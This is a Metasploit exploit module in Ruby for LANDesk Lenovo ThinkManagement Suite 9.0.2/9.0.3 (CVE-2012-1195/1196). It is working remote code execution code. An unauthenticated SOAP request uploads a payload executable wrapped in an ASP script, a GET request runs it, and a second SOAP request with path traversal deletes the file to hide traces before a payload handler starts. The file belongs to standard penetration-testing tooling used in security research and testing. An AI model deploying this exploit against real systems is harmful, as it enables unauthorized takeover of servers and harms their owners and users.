##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize
  super(
   'Name'        => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',
   'Description'    => %q{
     This module can be used to execute a payload on LANDesk Lenovo
    ThinkManagement Suite 9.0.2 and 9.0.3.

    The payload is uploaded as an ASP script by sending a specially crafted
    SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
    , via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
    as the argument.

    After execution, the ASP script with the payload is deleted by sending
    another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
    via a "SetTaskLogByFile" operation.
   },
   'Author'      => [
    'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
    'juan vazquez' # Metasploit module
   ],
   'Version'     => '$Revision: $',
   'Platform'    => 'win',
   'References'  =>
    [
     ['CVE', '2012-1195'],
     ['CVE', '2012-1196'],
     ['OSVDB', '79276'],
     ['OSVDB', '79277'],
     ['BID', '52023'],
     ['URL', 'http://www.exploit-db.com/exploits/18622/'],
     ['URL', 'http://www.exploit-db.com/exploits/18623/']
    ],
   'Targets'     =>
    [
     [ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
    ],
   'DefaultTarget'  => 0,
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 15 2012'
  )

  register_options(
   [
    OptString.new('PATH', [ true,  "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])
   ], self.class)
 end

 def exploit

  peer = "#{rhost}:#{rport}"

  # Generate the ASP containing the EXE containing the payload
  exe = generate_payload_exe
  asp = Msf::Util::EXE.to_exe_asp(exe)

  # htmlentities like encoding
  asp = asp.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")

  uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
  upload_random = rand_text_alpha(rand(6) + 6)
  upload_xml_path = "ldlogon\\#{upload_random}.asp"

  soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <RunAMTCommand xmlns="http://tempuri.org/">
   <Command>-PutUpdateFileCore</Command>
   <Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
   <Data2>#{upload_xml_path}</Data2>
   <Data3>#{asp}</Data3>
   <ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
  </RunAMTCommand>
 </soap:Body>
</soap:Envelope>
  eos

  #
  # UPLOAD
  #
  attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
  print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")

  res = send_request_cgi({
   'uri'          => attack_url,
   'method'       => 'POST',
   'ctype'        => 'text/xml; charset=utf-8',
   'headers' => {
     'SOAPAction'     => "\"http://tempuri.org/RunAMTCommand\"",
    },
   'data'         => soap,
  }, 20)

  if (! res)
   print_status("#{peer} - Timeout: Trying to execute the payload anyway")
  elsif (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
   return
  end

  #
  # EXECUTE
  #
  upload_path = uri_path + "ldlogon/#{upload_random}.asp"
  print_status("#{peer} - Executing #{upload_path}...")

  res = send_request_cgi({
   'uri'          =>  upload_path,
   'method'       => 'GET'
  }, 20)

  if (! res)
   print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
   return
  end

  if (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
   return
  end

  #
  # DELETE
  #
  soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <SetTaskLogByFile xmlns="http://tempuri.org/">
   <computerIdn>1</computerIdn>
   <taskid>1</taskid>
   <filename>../#{upload_random}.asp</filename>
   </SetTaskLogByFile>
 </soap:Body>
</soap:Envelope>
  eos

  attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
  print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")

  res = send_request_cgi({
   'uri'          => attack_url,
   'method'       => 'POST',
   'ctype'        => 'text/xml; charset=utf-8',
   'headers'      => {
     'SOAPAction'     => "\"http://tempuri.org/SetTaskLogByFile\"",
    },
   'data'         => soap,
  }, 20)

  if (! res)
   print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
   return
  elsif (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
   return
  end

  handler
 end

end